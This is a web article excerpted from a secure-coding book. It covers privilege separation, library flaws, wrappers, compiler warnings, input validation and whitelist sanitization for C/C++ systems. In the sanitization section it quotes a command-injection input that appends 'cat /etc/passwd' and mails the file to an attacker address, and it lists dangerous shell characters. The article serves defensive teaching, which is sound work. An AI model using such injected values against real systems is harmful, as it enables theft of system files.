How to write secure C/C++ application code for your embedded design: Part 3 - Embedded.com

How to write secure C/C++ application code for your embedded design: Part 3

The architecture and design of a system significantly influences thesecurity of the final system. If the architecture and design areflawed, nothing in this book can make your system secure. Bass andcolleagues describe tactics for creating secure system architecturesthat resist, detect, and recover from attacks [Bass 03].

Software architecture should also be used to implement and enforcesecure software development principles. If your system needs differentprivileges at different times, for example, consider dividing thesystem into distinct inter communicating subsystems, each with anappropriate privilege set.

This architecture allows an unprivileged process that needs toperform privileged tasks to communicate with another process thatretains elevated privileges to perform security-critical operations.This can be accomplished on UNIX systems, for example, using thefollowing sequence of steps:

1. Initialize objects thatrequire privilege.
2. Construct the communicationschannel using socketpai r() and then fork().
3. Have the entrusted processchange the root directory to a restricted area of the file system usingthe ch root() system call and then revoke privileges.

(After a call to chroot(), future system calls issued by theprocess see the specified directory as the file system root. It is nowimpossible to access files and binaries outside the tree rooted on thenew root directory. This environment is known as the chroot jail.)

Most tasks are performed in the complex, entrusted process and onlyoperations that require privilege are performed by the trusted process(which retains privileges). The benefit of this method is that theimpact of vulnerabili ties introduced in the complex, entrusted processis limited to the context of the unprivileged user.

Figure8-3. OpenSSH

This technique is implemented by the OpenSSH secure shellimplementation in  Figure 8.3above. [Provos 03a] .When the SSH daemon starts, it binds a socket to port 22 and waits fornew connections. Each new connection is handled by a forked child.

The child needs to retain superuser privileges throughout itslifetime to create new pseudo terminals for the user, to authenticatekey exchanges when cryptographic keys are replaced with new ones, toclean up pseudo terminals when the SSH session ends, to create aprocess with the privileges of the authenticated user, and so forth.

The forked child acts as the monitor and forks a slave that dropsall its privileges and starts accepting data from the establishedconnection. The monitor then waits for requests from the slave. If thechild issues a request that is not permitted, the monitor terminates.Through compartmentalization, code requiring different levels ofprivilege is separated, allowing least privilege to be applied to eachpart.

While this architectural approach can be difficult to develop, thebenefits; particularly in. large, complex applications, can besignificant. It is important to remember that these new communicationchannels add new avenues of attack and to protect them accordingly. Anappropriate balance is required between minimal channels and privilegeseparation.

The vast majority of software developed today relies on previouslydeveloped software components to work. Programs written in C or C++,for example, depend on runtime libraries that are packaged with thecompiler or operating system. Programs commonly make use of softwarelibraries, components; or other existing off the shelf software.

Vulnerabilities in Existing Code
One of the unadvertised consequences of using off-the-shelf software isthat, even if you write flawless code, your application may still bevulnerable to a security flaw in one of these components. For example,the realpath() C library function returns the canonicalized absolutepath name for a specified path. To do this, it expands all symboliclinks.

However, some implementations of real path() contain a static bufferthat overflows when the canonicalized path is larger than MAXPATHLEN.Other common C library functions for which some implementations areknown to be susceptible to buffer overflows include sys1og(),getpass(), and the getopt() family of calls_

Because many of these problems have been. known for some time; thereare now corrected versions of these functions in many C libraries. Forexample, libc4 and libc5 implementations for Linux contain the bufferoverflow vulnerability in real path(), but the. problem is fixed inlibc-5.4.13. On the surface it appears that it is now safe to use thisfunction, because the problem has been corrected. But is it really?

Modern operating systems typically support dynamically linkedlibraries or shared libraries. In this case, the library code is notstatically linked with the executable but is found in the environmentin which the program is installed. Therefore, if our hypotheticalapplication designed to work with libc-5.4.13 is installed in anenvironment in which an older version of libc5 is installed, theprogram will be susceptible to the buffer overflow flaw in the realpath () function.

One solution is to statically link safe libraries with yourapplication. Generally speaking, this makes your code more secure andmore reliable because you know which implementations of library callsyou are actually using. How ever, this approach does have the downsideof creating larger executable images on disk and in memory.

Also, it means that your application is not able to take advantageof newer libraries that may repair previously unknown flaws (securityand otherwise). Another solution is to ensure that the values of inputspassed to external functions remain within ranges known to be safe forall existing implementations o£ those functions.

Similar problems can occur with distributed object systems such asDCOM, CORBA, and other compositional models in which runtime bindingoccurs.

Secure Wrappers
System integrators and administrators can protect systems fromvulnerabilities in off-the-shelf software components (such as alibrary) by providing wrappers that intercept calls made to APIs thatare known to be frequently misused or faulty

The wrapper implements the original functionality of the API(generally by invoking the original component), but performs additionalvalidation checks to ensure that known vulnerabilities are notexploited. To be feasible, this approach requires runtime binding ofexecutables. An example of a mitigation approach that implements thistechnique for Linux systems is the libsafe library from Avaya Labs [Baratloo 00, Tsai 01].

Wrappers do not require modification to the operating system andwork with existing binary programs. Wrappers cannot protect againstunknown security flaws; if a vulnerability exists in a portion of codethat is not intercepted by the wrapper, the system will still bevulnerable to attack.

A related approach is to execute untrusted programs in a supervisedenvironment that is constrained to specific behavior through auser-supplied policy. An, example of this mitigation approach is thesystrace facility. This approach differs from. the secure wrappers inthat it does not prevent exploitation of vulnerabilities but canprevent the unexpected secondary actions that are typically attemptedby exploit authors, such as writing files to a protected location oropening network sockets [Provos 03b].

Systrace is a policy enforcement tool that provides a way tomonitor, intercept, and restrict system calls. The systrace facilityacts as a wrapper to the executables, shepherding their traversal ofthe system call table. The systrace facility intercepts system callsand, using the systrace device, processes them through the kernel andhandles the system calls [Provos 03b].

Similar to secure wrappers, supervised environments do not requiresource code or modifications to the program being supervised. Adisadvantage of this approach is that it is easy for incorrectlyformulated policies to break the desired functionality of thesupervised programs. It may be infeasible for an administrator toconstruct accurate policy descriptions for large, complex programswhose full behavior is not well understood.

Compiler Checks
C and C++ compilers are generally lax in their type-checking support,but you can generally increase their level of checking so that somemistakes can be detected automatically. Turn on as many compilerwarnings as you can and change the code to cleanly compile with them,and strictly use ANSI prototypes in separate header (.h) files toensure that all function calls use the correct types.

For C or C++ compilations using gcc, use at least the following ascompilation flags (which turn on ahost of warning messages ) and try to eliminate all warnings:

gcc -Wall -Wpointer-arith -Wstrict-prototypes -02

The -02 flag is used because some warnings can only be detected bythe data flow analysis performed at higher optimization levels. Youmight want to use -W-pedantic as well.

For developers using Visual C++, the /GS option should be used toenable canaries and to perform some stack reorganization to preventcommon exploits. This stack reorganization has evolved over time. Figure 8-4 below shows the evolutionof the /GS flag for Visual C++.

Figure8-4. /GS flag for Visual C++

Input Validation
A common cause of vulnerabilities is user input that has not beenproperly validated. Input validation requires several steps:

Step #1. All input sources must be identified. Input sources include commandline arguments, network interfaces, environmental variables, and usercontrolled files.

Step #2. Specify and validate data. Data from all untrusted sources must befully specified and the data validated against these specifications.The system implementation must be designed to handle any range orcombination of valid data.

Valid data, in this sense, is data that is anticipated by the designand implementation of the system and therefore will not result in thesystem entering an indeterminate state.

For example, if a system accepts two integers as input andmultiplies those two values, the system must either (a) validate theinput to ensure that an overflow or other exceptional condition cannotoccur as a result of the operation or (b) be prepared to handle theresult of the operation.

The specifications must address limits, minimum and maximum values,minimum and maximum lengths, valid content, initialization andreinitialization requirements, and encryption requirements for storageand transmission.

Step #3. Ensure that all input meets specification. Use data encapsulation (forexample, classes) to define and encapsulate input. For example,instead_ of checking each character in a user name input to make sureit is a valid character, define a class that encapsulates alloperations on that type of input.

Input should be validated as soon as possible. Incorrect input isnot always malicious-often it is accidental. Reporting the error assoon as possible often helps correct the problem. When an. exceptionoccurs deep in the code it is not always apparent that the cause was aninvalid input and which input was out of bounds.

A data dictionary or similar mechanism can be used for specificationof all program inputs. Input is usually stored in variables, and someinput is eventually stored as persistent data.

To validate input, specifications for what is valid input must bedeveloped. A good practice is to define data and variablespecifications, not just for all variables that hold user input, butalso for all variables that hold data from a persistent store.

<>The need to validate user input is obvious; the need to validate databeing read from a persistent store is a defense against the possibilitythat the persistent store has been tampered with.

Data Sanitization
In a theoretical sense, if a program allowed only valid inputs and theprogram logic correctly anticipated and handled every possiblecombination of valid inputs, the majority of vulnerabilities describedin this book would be eliminated.

<>Unfortunately, writing correct programs (in this sense) has proven tobe an elusive goal. This is particularly true when data is passedbetween different logical units_ John Viega and Matt Messier provide anexample of an application that inputs an e-mail address from a user andwrites the address to a buffer [Viega03] :

sprintf(buffer, “/bin/mail %s

The buffer is then executed using the system() call. The risk is, ofcourse, that the user enters the following string as an e-mail address:

bogus@addr.com; cat /etc/passwd Imail some@badguy.net

The problem here is not necessarily an input validation problem. Thesystem call's function is to execute a command specified in a string.The problem, in this case, is the context of the call. The system()command has no way of knowing that this request is invalid.

Because the calling process understands the context in this case, itis the responsibility of the calling process to sanitize the data (thecommand string) before invoking a function in a different logical unit(a system library) that does not understand the context.

It is important that all boundaries and interfaces be considered.For example, consider the simple application architecture shown in Figure 8-5 below.

Figure8-5. Exploitable Interfaces

It is important to sanitize data being passed across all systeminterfaces. Examining and validating data exchanged in this fashion.can also be useful in identifying and preventing probing, snooping, andspoofing attacks.

White listing and black listing are two approaches to datasanitization. Black listing attempts to exclude inputs that areinvalid, while white listing requires that only valid inputs areaccepted. White listing is generally recom mended because it is notalways possible to identify all invalid values and because whitelisting fails safe on unexpected inputs.

Figure8-6. Black-listing approach to data sanitization

Black Listing
One approach to data sanitization is to replace dangerous characters ininput strings with underscores or other harmless characters. Figure 8-6above contains some sample code that performs this function.

Dangerous characters are characters that aright have some unintendedor unanticipated results in a particular context. Often thesecharacters are dangerous because they instruct an invoked subsystem toperform an operation that can be used to violate a security policy.

We have already seen, for example, hour a character can be dangerousin the context of a system() call or other command that invokes a shellbecause it allows the user to concatenate additional commands onto theend of a string. There are other characters that are dangerous in thecontext of an SQL database query or URL for similar reasons.

The problem with this approach is that it requires the programmer toidentify all. dangerous characters and character combinations. This maybe difficult or impossible without having a detailed understanding ofthe program, process, library; or component being called. Additionally,depending on the program environment, there could be many ways ofencoding or escaping input that may be interpreted with maliciouseffect after successfully bypassing black list checking.

Figure8-7. tcp wrappers package written by Wietse Venema

White Listing
A better approach to data sanitization is to define a list ofacceptable characters and remove any character that is not acceptable.The list of valid input values is typically a predictable, well-definedset of manageable size. For example, consider the tcp wrappers packagewritten by Wietse Venema and shown in Figure 8-7 above.

The benefit of white listing is that a programmer can be certainthat a string contains only characters that are considered safe by theprogrammer. White listing is recommended over black listing because,instead of having to trap all unacceptable characters, the programmeronly needs to ensure that acceptable characters are identified. As aresult, the programmer can be less concerned about which characters anattacker may try in an attempt to bypass security checks.

Testing
After you have implemented your data sanitization and input validationfunctions, it is important to test them to make sure they do not hermitdangerous values. The set of illegal values depends on the context.

A few examples of illegal values for strings that may be passed to ashell or used in a filename are the null string, “. , . .3', ” . ./”;strings starting with “/” or “.', any string containing “/” or '&',control characters (especially NIL and newline), and any characterswith the most significant bit set (especially values decimal 254 and255).

Again, your code should not be checking for dangerous values, butyou should test to ensure that your input validation functions limitinput values to safe values.

Next in Part 4: “Static Analysis .”
To read Part 1, go to “Secure software development principles.”
To read Part 2, go to “Systems Quality Requirements Engineeiring.”

(Editor's note: For more onembedded security, check out the cover story in the Octoberissue of Embedded SystemsDesign Magazine: Embedded systems security has moved to theforefront”, as well as Employ a secure flavorof Linux.

Thisarticle is excerpted with permission from the book titled “SecureCoding in C and C++“, by Robert C. Seacord, published and allcopyrights held by Addison Wesley/Pearson Education. It can bepurchased on line.

Robert Seacord is senior vulnerability analyst with the CERT/Corrdination Center of theSoftware Engineering Institute. Noopor Davis is a visiting scientistwith the SEI Software Engineering Management Program. Chad Dougherty isa member of the technical staff for the SEI Networked SystemsSurvivability Program. Nancy Mead is a senior member of the technicalstaff for the SEI Networked Systems Survivability Program. Robert Meadis a member of the technical staff for the SEI Networked SystemsSurvivability Program.

References:
[Baratloo 00] Baratloo, A.N.et.al. “Transparent Run Time Defense against Stack Smashing attacks.”Proceedings of 2000 USENIX Annual Technical Conference. San Diego.
[Bass 03] Bass, L.; et.al.”Software architecture in practice.” Second Edition, Addison-Wesley,2003.
[Provos 03a] Provos, N. et.al.”Preventing Privilege Escalation.” Proceedings of the Twelfth USENIXSecurity Symposium.
[Tsai 01] Tsai, T. and N.Singh. “Libsafe 2.0: Detection of Format String Vulnerability Exploits.Avaya Labs White Paper. Feb. 6, 2001.
[Viega 03] Viega, J. and M.Messier. “Secure Programming Cookbook for C and C++: Recepies forcryptography, authentication, networking, input validation and more.”O'Reilly, 2003.

Other recent articles onsecurity onEmbedded.com:
Securingwireless MCUs is changing embedded systems design
Stateof security technology: embedded to enterprise
Securiingmobile and embedded devices: encryptioon is not security
Guidelinesfor designing secure PCI PED EFT terminals
Overcomingsecurity issues in embedded systems
Buildingmiddleware for security and safety-critical applications
Securityconsiderations for embedded operating systems
Diversityprotects embedded systems
Aproactive strategy for eliminating embedded software vulnerabilities
Understandingelliptic curve cryptography
Securingad hoc embedded wireless networks with public key cryptography

Aframework for considering security in embedded systems
Calculatingthe exploitability of your embedded software
Badassumptions lead to bad security

Securingembedded systems for networks
Implementingsolid security on a Bluetooth product
Smartsecurity improves battery life
Howto establish mobile security
Ensuringstrong security for mobile transactions
Securingan 802.11 network

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.